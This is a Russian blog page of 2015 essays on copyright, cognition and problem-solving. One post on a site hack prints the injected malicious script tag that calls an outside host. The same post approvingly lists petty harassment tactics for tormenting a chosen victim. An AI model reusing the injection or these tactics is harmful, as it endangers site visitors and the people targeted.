Хотя если хорошенько вдуматься, то возникают весьма интересные мысли. А именно: если какой-то «перец» перепечатывает в Интернет роман Л. Толстого «Война и мир», это просто замечательно. Копий романа в различных форматах будет столько, что его доступность окажется для людей максимальной. К примеру, десять сайтов «упало», и все равно пользователи смогут читать великий шедевр литературы онлайн. Также весьма важно максимально популяризировать интересные теории. К примеру, теория струн еще далеко не понятна всем рядовым гражданам. Если доступные статьи с ее описанием поместить на все популярные новостные сайты, то люди, наверняка, будут лучше представлять себе, чем дышат современные физики-теоретики. Возможно, это приведет к следующему: у людей разыграется воображение, и они непременно начнут давать советы физикам, как улучшить их передовую теорию. Среди советов обязательно найдется хотя бы один, достойный если не Нобелевской премии, то пристального внимания знаменитых фантазеров от теоретической науки.

На «копипастинг» также ополчились потому, что он расценивается как нарушение авторских прав. Мол, с каждой публикации автор должен получать какие-то отчисления. Однако существуют миллионы весьма интересных информационных источников, которые не предусматривают никаких авторских отчислений. К таким источникам относится почти вся мировая литературная классика, многие научные и научно-популярные статьи. Но здесь важен сам прецедент. Если кто-то самовольно разместил на своем сайте рассказ И. Тургенева «Му-му», то он же в последующем может нелегальное разместить произведение великого писателя современности Д. Быкова, прославившегося своей серией «Гражданин поэт». А это уже нарушение авторских прав, т.к. гражданин Быков сегодня, сейчас стучит ложкой по пустой тарелке и требует есть.

Насчет авторских прав вроде бы все понятно. Если автор или его издатель требуют отчислений за перепечатку принадлежащих им произведений, значит они считают, что эти произведения представляют определенный интерес для публики. Потребность в их чтении заставляет потенциальных читателей платить. Таким образом, налицо экономические отношения между автором и читателями. А экономику подрывать нельзя!

Но так ли много произведений, содержащих ценную или просто любопытную информацию, за которую потребитель готов раскошеливаться?

Этот вопрос разрешается сам собой – путем рыночных отношений. Если платят, значит информация ценна, если не хотят платить, значит информация никакой коммерческой ценности не имеет. Но это не означает, что никому не нужную информацию можно свободно копировать. Оказывается, все дело в ее уникальности. Сама по себе уникальная информация имеет некоторую коммерческую ценность. Она связана с поисковыми системами. Если в информации встречаются ключевые слова, соответствующие часто набираемым пользователями Интернет запросами, то ссылки на эту информацию будет появляться в поисковых результатах. Пользователи будут переходить по данным ссылкам и попадать на сайты, где размещена коммерческая реклама различного ширпотреба. Вот вам и польза от уникальности! Она используется как обыкновенная наживка, на которую клюют охочие до шопинга потребители.

Сегодня всем прекрасно понятно, какова цена уникальности. Это 25 рублей за тысячу знаков без пробелов. Такова ставка обычного копирайтера. Никого не интересует смысл написанного, главное – это «ключевые слова», вкрапленные в уникальный текст. Эти магические слова приводят нас к рекламе, интернет-магазинам, сайтам, предлагающим различные услуги.

А что же с блогерами? Ведь быть блогером считается более престижным, нежели работать копирайтером!

Я вот по простоте душевной, впервые услышав о возрастании популярности блогинга, с удивлением подумал: неужели все популярные блогеры столь эрудированны, креативны и творчески активны, что почти каждый день, а некоторые и каждый божий день, способны выдавать интересную многочисленной публике информацию? Возможно ли, что Интернет инициирует в людях скрытые литературные способности? Разве сегодняшняя образованная публика все больше и больше наполняется литературными талантами – современными белинскими, герценами, тургеневыми и достоевскими и т.д.? Неужели благодаря Интернет каждый способен высказывать столь умные мысли, которые раньше никому не приходили в голову? Просто невероятно!

Потратив свое личное время на внимательное ознакомление с творчеством наиболее популярных блогеров, я, наконец, нашел ответы на все эти вопросы. Конечно же, никакого чудесного преображения в народе с появлением Интернет не произошло. Современный блогинг – в интеллектуальном плане явление мало примечательное.  Талантливый философ или литератор, которому есть что сказать человечеству, сегодня столь же редкое явление, как и сто-двести лет назад.

По существу в научно-познавательном или литературно-творческом плане обычным людям по-прежнему сказать друг другу нечего. В основном они обмениваются ценной в коммерческом плане информацией: где купить подешевле, кто обманывает с товарами, к кому можно обратиться за деловым советом, от кого надо держаться подальше, кому нельзя верить, куда вложить деньги и т.д. Происходит обычный эмоционально окрашенный дискурс вокруг путинских социальных экспериментов, скандальных заявлений навальных и лимоновых, эпатажных выступлений телеведущих. Люди просто живут, каждый хочет развлечься, «выпустить пар», как-то выделиться, подороже себя продать, и мало кто заморачивается поисками истины, которую с таким упорством искали древние греки.

Так что если рассматривать Интернет как источник знаний, то по-прежнему «копипастинг» остается единственным полезным механизмом, способствующим широкому распространению действительно ценной информации. Без «копипастинга» Интернет окончательно превратился бы в банальное средство коммуникации обывателей. Или это не так?...


вторник, 14 июля 2015 г.

Как лучше насолить своему врагу



Некоторое время назад наш сайт becmology.ru подвергся хакерской атаке. Все страницы получили вставку в виде кода типа:

<!--e8b49b--><script type="text/javascript" src="http://adonis-body.com/products_pictures/ymbpy42q.php?id=7614938"></script><!--/e8b49b-->

Это вредоносный вирус под названием Troj/JSRedir-NZ.

Из анализа логов (журналов) веб-сервера мы заметили, что взлом и заражение вирусом Troj/JSRedir-NZ происзошло через скомпрометированный FTP аккаунт.

Как происходит взлом и заражение сайта? Администратор сайта, вебмастер или привлеченный фрилансер не задумывается о том, что FTP-доступы могут быть легко перехвачены хакерами при работе в открытых сетях или при использовании незащищенного интернет-соединения (в кафе, метро, в парках, в гостиницах и пр.), что компьютер может быть заражен троянской программой, которая «слушает» подключение по 21 порту и перехватывает доступы, так как они передаются в открытом виде. Также есть вариант троянца, который вытаскивает логин/пароль непосредственно из настроек FTP-клиента, где их сохраняет администратор (ведь это удобно!) Далее перехваченные доступы FTP передаются на управляющий сервер, и уже с другого хоста выполняется подключение по FTP, выгрузка файлов, внедрение в них вирусного кода, а затем загрузка обратно на сайт. Операции могут выполняться ежедневно в различное время. В какие-то моменты времени вредоносный код удаляется из файлов, поэтому при анализе можно его не обнаружить. А на следующий день снова добавляться.

Можно сказать, ничего страшного не произошло. Мы почистили сайт, сменили пароль FTP-клиента – вся операция по времени заняла полдня. Правда, уведомление о вредоносности нашего сайта на поисковых сервисах типа Яндекс висело несколько дней. В течение этих дней серферы сети на наш сайт заходить боялись – опасались, что зараза перекинется на их клиентские устройства.

Если бы сайт являлся для нас критической точкой бизнеса, мы понесли бы немалые материальные и моральные потери. Но поскольку сайт для нас – лишь второстепенный информационный сервис, его взлом «обедню» нам почти не испортил. Было лишь потеряно несколько рабочих часов на восстановление резервной копии и смену пароля.

Какой урок из данной ситуации можно извлечь?

Если не брать в расчет соображения необходимости усиления безопасности, то, казалось бы, почти никакой. Но постойте!

Атака на малоприметные сайты рядовых граждан – явление вообще-то неординарное. Как правило, атакуют популярные сайты, влияющие на умы народных масс. Штатные администраторы этих сайтов к различным атакам во всеоружии готовы, и отражение любой атаки происходит оперативно и практически всегда успешно. Разве что сайт «зависает» на несколько часов. Для ординарных сайтов штатных администраторов не держат, постоянного мониторинга активности на сайте не производят. Взлом здесь рассматривается как событие неприятное, но маловероятное.

Однако всякая неприятная неожиданность действует на нервы. Чем больше таких неожиданностей, тем более дерганным, неуравновешенным становится человек, которого эти события непосредственно касаются.

Чтобы окончательно вывести человека из себя достаточно устроить ему серию маленьких неприятных неожиданностей. Чтобы жизнь любого индивида превратилась в настоящий ад, достаточно через день устраивать ему маленькие пакости: проколоть колесо, устроить задымление на лестничной площадке, случайно облить постным маслом в магазине, дать «горячее» объявление в газете с номером телефона жертвы, написать анонимку и т.д.

Атака не веб-сайт – это лишь одно из звеньев в длинной череде бытовых неприятностей, которые должны массированно обрушиться на выбранную жертву. Ни одна психика перед таким напором не устоит. И главное – почти никакой противозаконной деятельности!


пятница, 3 июля 2015 г.

Опредмечивание, распредмечивание и гипостазирование

Опредмечивание – это воплощение своего идеального (духовного, внутреннего, субъективного) в каком-либо предмете, тексте, философской системе художественном произведении и т. д. На любой из этих объектов как бы наслаиваются смыслы, символы, ценности, цели, интересы, нормы, чувства людей.

Распредмечивание – это вычленение в объекте идеального (духовного, внутреннего) и перевод его в свою субъективную реальность. Примером может быть чтение книги, просмотр кинофильма, наслаждение природой и т. д.

Существует хорошо нам знакомый вид деформации сознания, который обозначается малоизвестным словом гипостазирование: синонимы опредмечивание и овеществление. В словаре читаем: "Гипостазирование (греч. hypostasis – сущность, субстанция) – присущее идеализму приписывание абстрактным понятиям самостоятельного, реального, предметного существования. В другом смысле – возведение в ранг самостоятельно существующего объекта (субстанции) того, что в действительности является лишь свойством, отношением чего-либо".


Гипостазирование – один из ключевых механизмов работы нашего интеллекта, сопровождающейся, однако, целым рядом ошибок в мышлении и общении людей. Суть в том, что наше мышление настроено обращаться даже, например, с такими сугубо абстрактными понятиями (диалектическими категориями), как время и пространство, теми же интеллектуальными способами, какими мы взаимодействуем с внешними предметами, используя или преобразуя их для своих целей. Собственно, в результате такого внешне проявленного действия и сформировались механизмы мышления, включая опредмечивание или овеществление всего, что попадает в сферу умственной работы и представлений у людей.

Простейший пример. Допустим, вас попросили пойти и взять вилку с кухонного стола. Казалось бы, это действие происходит непосредственно во внешнем мире. Но в действительности, вы на какое-то мгновение совершаете упреждающее действие с опредмеченным (гипостазированным) представление вилки в своем уме. Более отчетливо работу механизма гипостазирования или овеществления вы можете проследить при попытках бросить мяч или другой предмет точно в намеченную цель. Для этого вам сначала придется опредмечивать в уме всю проблемную ситуацию, соизмеряя с целью в своих воображении и внутренних ощущениях направление и силу броска.

Для абстрактных понятий и представлений привести столь же понятные примеры их опредмечивания сложнее – операции гипостазирования или овеществления как бы скрыты, замаскированы в самом механизме мышления, – но это опредмечивание происходит в каждое мгновение развития мысли и приводит порой, к немалым недоразумениям и искажениям информации в общении людей, в особенности при передачи информации от теоретиков науки в сферу восприятия (тезаурус) обычных людей.

Гипостазирование, пожалуй, – это наиболее интересная и, в общем-то, нередкая логическая (семантическая) ошибка.

Гипостазирование имеет место, когда, например, предполагается, что понятию «лошадь», помимо отдельных лошадей, соответствует особый предмет — «лошадь как таковая», имеющий только общие признаки всех лошадей, но не специфические — гнедая, каурая, иноходец, рысак и т.д.

Немецкий писатель Й.Гебель написал рассказ-притчу «Каннитферштан», на тему которой русский поэт В.Жуковский создал стихотворную балладу. В рассказе говорится о немецком ремесленнике, приехавшем в Голландию и не знавшем языка этой страны. Кого он ни пытался спросить о чем-либо, все отвечали одно и то же: «Каннитферштан». В конце концов ремесленник вообразил себе всесильное и злое существо с таким именем и решил, что страх перед этим существом мешает всем говорить. По-голландски же «Каннитферштан» означает «не понимаю».

За внешней незатейливостью этого рассказа есть другой план: Всему, что названо каким-то именем или просто каким-то словом, напоминающим имя, приписывается обычно существование. Даже слово «ничто» представляется в виде какого-то особого предмета. Откуда эта постоянная тенденция к объективизации имён, к отыскиванию среди существующих вещей особого объекта для каждого имени? Так ведь можно дойти до поисков «лошади вообще» или даже захотеть увидеть «несуществующий предмет».


Гипостазирование связано с абстрактными именами. Эту ошибку допускает, например, тот, кто считает, что кроме здоровых и больных существ есть ещё такие объекты, как «здоровье», «болезнь» и «выздоровление». В «Оливере Твисте» Ч.Диккенса мистер Банби говорит: «Закон осел, потому что он никогда не спит». В этом сведении разнородных вещей к одной плоскости также можно усмотреть Гипостазирование. 

четверг, 18 июня 2015 г.

Как и почему становятся «планктоном»

Чтобы информация стала знанием - нужна практика. К информации нужно привыкнуть, пощупать, поверить. Только тогда она становится знанием. От избытка информации и недостатка практики люди живут без знаний и пытаются защититься от информации. Избыток информации - средство уничтожения личности.

Если молодой человек прочитает тома мудрых книг - знанием это не станет. Потом в процессе практики он, возможно, вспомнит что-то из книг и найдет подтверждение своим выводам из практики. Человек с опытом с помощью чужой мудрости может систематизировать то, что он увидел на практике. И сделать оптимальные для себя выводы.

Беда современности - избыток информации и недостаток практики. Здесь истоки постмодернизма. Вся информация кажется одинаково нереальной.

Если парень пошел работать на тракторе, он знает и умеет обращаться с техникой. Знает свойства почвы, которую копает и растений, которые косит и корчует. Это знание. Если он при этом читает про почвы и растения, он перерабатывает информацию в знания.

Студент, получающий знания впрок на практических занятиях в институте, теряет целостность. Информация по разным предметам не связана, иногда устарела или противоречива. У преподавателей свое отношение к предметам. Требуется отвечать, как хотя преподаватели, а не как чувствует и думает студент.


Никакие мудрые книги, методики и тренинги не помогут. Только практическая работа и желательно по специальности. А после института он идет работать в лучшем случае с информацией. И становится «планктоном»....

вторник, 16 июня 2015 г.

Как в Бэкмологии понимается неопределенность

В самом общем понимании Бэкмология устанавливает высший приоритет правила «наблюдать и анализировать, прежде чем действовать» и осуществляет его всестороннюю методологическую поддержку. В рамках собственной методологии Бэкмология предусматривает принятие неопределенности в качестве системаобразующей парадигмы мышления. Это гарантирует, что пред человеком открываются широчайшие возможности как для постижения скрытых закономерностей реальности, так и для эффективного управления ею. Ведь только через постижение неопределенности управление становится объективно рациональным.

О том, как понимается в Бэкмологии неопределенность, читайте следующие публикации:




Источниками субъективной неопределенности жизненных ситуаций являются следующие три группы факторов:

  • внешние обстоятельства, воспринимаемые как не зависящие или мало зависящие от самого субъекта и от других людей (связанные, например, с неблагоприятным или благоприятным стихийным развитием событий, сложившимся положением вещей, которое поддерживает неопределенность, и т.д.);
  • обстоятельства, непосредственно связанные с действиями других людей, которые помогают или же мешают субъекту в реализации его жизненных планов;
  • внутренние субъективные факторы (неустойчивость целей субъекта и критериев оценки ситуации, динамика эмоциональных переживаний, уверенности в себе и т.д.).

Главным субъективным фактором, который определяет отношение индивида к неопределенной жизненной ситуации, является оценка ситуации с точки зрения появления угрозы ее ухудшения или возникновения благоприятных возможностей. Те неопределенные ситуации, которые воспринимаются как создающие преимущественно благоприятные возможности, могут не только не переживаться как трудные, но вызывать ощущение легкости (вплоть до эйфорической) и «полета».

Общая стратегия поведения, выстраиваемая человеком в соответствии с его субъективной когнитивно-эмоциональной оценкой той неопределенной ситуации, с которой он столкнулся, определяется сочетанием двух формирующихся противоположных мотивационных тенденций: стремления к утверждению в ней своих ценностей и принципов, к проявлению своих интересов, способностей, склонностей; стремления к уходу от такого самопроявления, поскольку оно представляется рискованным и опасным.

При планировании действий или при бездействии в ситуации неопределенности индивид опирается на свою оценку ситуационной ответственности: зависит ли развитие ситуации от него или же потенциальные источники изменений лежат вовне.

Представления и планы индивида о действиях, обеспечивающих возможности самопроявления в неопределенной ситуации, могут быть как неопределенными и неконкретными (в соответствии с неопределенностью ситуации), так и вполне четкими и определенными, направленными на перевод существующей неопределенной ситуации в хорошо определенную целевую ситуацию.

Переоценка степени неопределенности прошлых жизненных ситуаций, ее источников, угроз и открывавшихся благоприятных возможностей, полученных реальных результатов является важным компонентом переосмысления своего прошлого и создает возможности изменения поведения в предстоящих ситуациях жизненной неопределенности.


суббота, 30 мая 2015 г.

Изощренный троллинг

Девушка прислала нам письмо:

В данный момент занимаюсь самообразованием, в основном пользуясь ресурсами интерната. В поисках всего, что может быть полезно для собственной финансовой грамотности, наткнулась на ваш сайт.

По тому, как вы подаете информацию – развернуто и разносторонне – чувствуется комплексный подход в использовании различных  методов, тактик и стратегий.

Но мне не совсем понятна структура вашей системы получения и применения знаний.

Не могли бы вы объяснить, в чем заключается ее база? На что нанизываются другие, основные составляющие? И какие это именно основные составляющие?

Хотелось бы представлять направление, в котором нужно двигаться.

Мне думается, процесс самосовершенствования бесконечен, но было бы интересно узнать этапы и уровни пути в вашем понимании.

Не исключено, что со временем, осваиваясь в море информации вашего сайта, я найду, что мне нужно.

С вашей помощью, по-моему, я быстрее сориентируюсь. Тогда освоение Бэкмологии за 2 месяца мне не будет казаться невозможным.

Почему бы просто не написать: «В вашей системе я ничего не поняла. Пожалуйста, дайте пошаговую инструкцию, как ей пользоваться». Или в духе нынешнего времени: «Давайте посчитаем экономический эффект от использования вашей системы. Если стоимость вложений в нее окупается, я готов(а) использовать ее».

Нам присылают множество писем с разными вопросами. Среди них есть обычные письма с конкретными вопросами, на которые можно дать вразумительные ответы. Но нередко встречаются и письма, подобные приведенному. Построенное исключительно на противоречиях, оно является ярким образчиком ментальности современной российской интеллигенции, традиционно устремленной в никуда...

Троллинг как социальное явление неразумно считать новообразованием, связанным с появлением сети Интернет. Традиции русского троллинга уходят корнями в умонастроения дворянской интеллигенции XIX века с ее вечными духовными скитаниями, экзальтированным дилетантизмом, социальным эгоизмом, утопизмом, нигилизмом, анархизмом и антигосударственными инстинктами. Именно русская интеллигенция сформировала психологию лишних людей, которые, в сущности, любят только свою фантазию. Поэтому отнюдь не случайно, что именно в России произошла Октябрьская революция 17-го года, и через 70 лет социальных экспериментов «народная власть» трансформировалась в клептократию.

Роль интеллигенции в жизни российского общества – ставить вопросы, на которые не существует ответов. Озабоченная исключительно собственной психологической защитой, «думающая» часть населения тщательно отгораживает себя от ненавистной ей реальности, где заправляют бал неизвестно откуда взявшиеся плебеи с мыльными глазами.

Не желая разбираться с банальной «правдой жизни», интеллигенция предпочитает рассуждать о категориях запредельных для практики. Такая позиция, несомненно, выгодна – не замараешь рук, не совершишь ошибок, не станешь заложником скучной рутинной деятельности.

На кого же ориентирована Бэкмология?

Мы покупаем пылесос, чтобы убирать в квартире пыль. Потребительские свойства пылесоса проявляются сразу и вполне очевидны, поэтому за него не жалко отдать заработанные деньги. Потребительские свойства Бэкмологии проявляются далеко не сразу – это методология, которой необходимо следовать, чтобы получить конкретный результат.

Обыватель живет по принципу «здесь и сейчас», он всегда максимально конкретен: его интересует пылесос, но не интересует методология. Интеллигента не интересует ни пылесос, ни методология – он сосредоточен на собственном внутреннем мире, скомпилированном из интересных ему фрагментов реальности. Если ни обывателю, ни интеллигенту методология не нужна, из этого лишь следует, что у методологии весьма ограниченный круг пользователей. В любом обществе всегда имеется небольшая прослойка людей, склонных использовать научное знание в практической деятельности. Именно такие люди и создают пылесосы, а также другие полезные вещи. Они используют различные методологии, чтобы проявить свой творческий потенциал.


понедельник, 11 мая 2015 г.

Структура проблемы vs. структура решения


Структурирование – сердце большинства методов решения проблем. Структурирование проблемы, возможно, – наиболее важная активность в процессе решения проблемы. Цель активности структурирования – помочь в создании репрезентации проблемы. Модель проблемы становится каркасом, на котором строятся знания.

В группе структурирование позволяет ее членам совместно использовать сходную ментальную модель проблемы. Эта совместная репрезентация проблемы важна для максимизации возможностей каждого члена в процессе решения проблемы.

Как создать наиболее эффективную структуру проблемы?

Большинство подходов решения проблем начинаются с анализа проблемы. Как правило, все начинается с ясного и лаконичного формулирования проблемы. Далее проблема подвергается декомпозиции на ее компоненты. После выявления всех частей проблемы появляется возможность манипулировать данными, используя обычные функции сортировки, фильтрации и приоритетности. Общепринятый взгляд также подсказывает, что анализировать данные можно путем поиска связей, сравнений и создания визуальных репрезентаций.

Имеет смысл разделить аналитический процесс на две независимые ветви: объективные данные и субъективные мысли. Объективные данные включают фактические и беспристрастные данные, т.е. данные, на которые не влияют персональные чувства, интерпретации или пристрастия.

Напротив, субъективные мысли – это персональные мысли и чувства.

Объективные данные группируются в основные категории. Далее они разделяются по опросным направлениям (кто, что, когда, где, почему, как, откуда, куда). Бывает полезно дальше классифицировать данные по типам данных, таким как ключевые вопросы, информация, задачи, цели.

Субъективные данные также следует группировать по тем же самым основным категориям. Далее они классифицируются по типу. Примеры субъективных данных: намерения, ожидания, предположения, интуиции, мнения, выводы, суждения, верования, надежды, животные чувства. Эти типы персональных мыслей называются предрасположенностями.

Предрасположенности, которые являются главными вопросами проблемы, следует исследовать с особой тщательностью. Важно понимать ментальные модели, которые лежат под поверхностью предрасположенностей. Вполне вероятно, что в понимании ментальных моделей лежит ключ к решению проблемы.

Чтобы удостовериться, что анализ полон, следует всегда рассматривать каждую из десяти типов предрасположенностей для каждой основной категории и каждого возможного решения. Это один из методов удостовериться, что анализ произведен полностью.

Зеркало
Такой подход накладывает структуру проблемы на ее решение. Это важный концепт, поскольку определенные аспекты решения будут зеркально отображать специфические характеристики решаемой проблемы. Внутри хорошо структурированного окружения инструментария имеется возможность эффективно оценивать важные структурные элементы и критические связи данных между проблемой и решениями.

Рисунки:
1. Модель аналитического процесса – Объективные данные

2. Модель аналитического процесса – Субъективные мысли





вторник, 5 мая 2015 г.

Решение проблемы – план провала


 Решение действительно сложных проблем может дать воодушевляющий опыт. Чувство достижения может быть сильным и проникновенным, но, как правило, на пути к победе имеется несколько неудачных попыток.

Во многих смыслах решение проблем – это план провала. Данный концепт поначалу может показаться парадоксальным, поэтому его следует разъяснить. По определению, по-настоящему сложную проблему решить отнюдь нелегко. Первые попытки наиболее вероятно провалятся. Поэтому твой окончательный успех может зависеть от того, как быстро ты учишься на своих ошибках.

Есть смысл создавать план провала. Это нормальная практика в процессе решения проблем. Тебе следует рассматривать эти провалы как золотые возможности, которые дадут необходимую поддержку для нахождения успешного решения.

К вполне обычным причинам провала относятся следующие:

Отсутствие информации. Тебе нужно больше информации или лучшая информация. Возможно, у тебя никогда не будет 100% необходимой информации. Как минимум, тебе нужно ясное понимание ситуации. Ты можешь добиться этого, определив лучшие источники информации по твоему вопросу и обработав информацию с использованием инструментов решения проблем.

Наличие слишком большого объема информации. Тебе необходимо совершенствовать свои возможности интерпретации данных. Информационные перегрузки стали обычным явлением в социуме, где происходит постоянная гонка технологий. Это приводит к усложнению решения проблем. Во-первых, цунами данных парализует анализ. Во-вторых, эксперименты показали, что с увеличением данных уровень уверенности экспертов растет, а аккуратность их выводов стремительно идет вниз.

Недостоверность информации. Тебе необходимо проводить проверку правильности (валидацию) данных. Важная вещь – понять качество информации. Тебе могут потребоваться методы для проверки качества информации, особенно критических данных. Поскольку дезинформация – обычное явление, всегда старайся проверить критические данные или, по крайней мере, проверить степень неопределенности, с которой тебе приходится иметь дело.

Обычные методы не работают с определенными проблемами. Старайся использовать другие методы. Существует множество средств, методов и техник решения проблем.

Незнание методов решения проблем. Старайся изучать новые методы. Сначала взгляни на всю совокупность доступных средств. Далее определи, какое из них, на твой взгляд, поможет тебе более всего. Наконец, засучи рукава и займись делом.

Отсутствие достаточного времени. Тебе может понадобиться управлять твоим временем более эффективно или определить, временные ограничения реальные или надуманные.

Например, твой босс говорит не создавать лишних расходов, но к концу рабочего дня выходит из строя компьютер, а тебе необходимо отправить важное письмо. Это не должно было случиться... и ты ничего не можешь с этим сделать. Физическое ограничение по времени делает это невозможным. Теперь представь, что твой босс дал тебе неограниченный бюджет и целую неделю на отправку письма. Видишь, насколько изменение временного элемента может быть важным? Время – один из наиболее важных аспектов в решении проблем. Это настолько очевидно, что иногда мы не обращаем на него внимание. Когда время неограниченно, все кажется возможным, Когда времени не хватает, твои опции весьма ограниченны.

Невозможно установить корневую причину проблемы. Провал установить корневую причину проблемы – типичное основание невозможности решить ее. Ты должен быть уверен, что решаешь реальную проблему, а не ее симптомы или проблему, которая по чьему-то мнению у тебя имеется. Или проблему, для которой у тебя есть решение. Если не знать корневую причину проблемы, можно начать решать неверную проблему.

Поиск идеального решения. Тебе необходимо изменить свои ожидания. Ожидания могут оказывать огромное влияние на решение проблем. Твои предубеждения могут сломать тебя, когда дело касается решения проблемы. Поиск идеального решения подразумевает, что у тебя уже есть предвзятое убеждение о существовании безупречного ответа. Куда лучше начать с открытым умом, использовать структурный подход решения проблем и увидеть, что можно понять насчет поиска лучшего решения.

• Зависимость от устаревших ментальных моделей. Обнаруживай, проверяй и улучшай неоспоримые ментальные модели в сердце твоей проблемы. Неоспоримые ментальные модели могут создать массу проблем в быстро меняющемся, очень сложном и неопределенном мире, в котором приходится жить. Если ты поймешь, что весь твой анализ основан на потенциально провальных ментальных моделях, тебе потребуется подход, который предоставляет возможности быть максимально гибким и маневренным. В конечном счете, он утверждает, что твой успех или неудача решить проблему может основываться не твоих способности и желании подвергать сомнению твое собственное мышление.
  

• Попадание в психологическую ловушку. Используй техники структурного решения проблем, чтобы не попадать в ловушки. Имеется множество психологических ловушек, мешающих решению проблем: когнитивные искажения, например, эффект селективного восприятия, искажения памяти, различные иллюзии, ложные выводы, систематические ошибки, например, ошибка игрока в казино, искажающие эффекты, например, эффект Барнума. Существуют сотни путей попасть в психологические ловушки.

 Провал – это успех

Большинство из нас социализированы думать, что провал в чем-то – это невезение. Провала всячески следует избегать. Ты не хочешь запятнать себя провалом, чтобы на тебя повесили ярлык неудачника.

Не многие просыпаются по утрам, думая: «Сегодня будет великолепный день для провала!». Однако ты можешь быть удивлен, узнав, что люди, имеющие подобный склад ума, вполне успешны. Эти люди проявляют бесстрашие при столкновении с неудачей. Они рассматривают ее как возможность роста. Провал – это лишь колдобина на дороге к успеху.

Провал – это всегда часть решения действительно сложной проблемы. Было бы разумным выработать собственную философию отношения к провалам перед тем, как продолжать движение по дороге.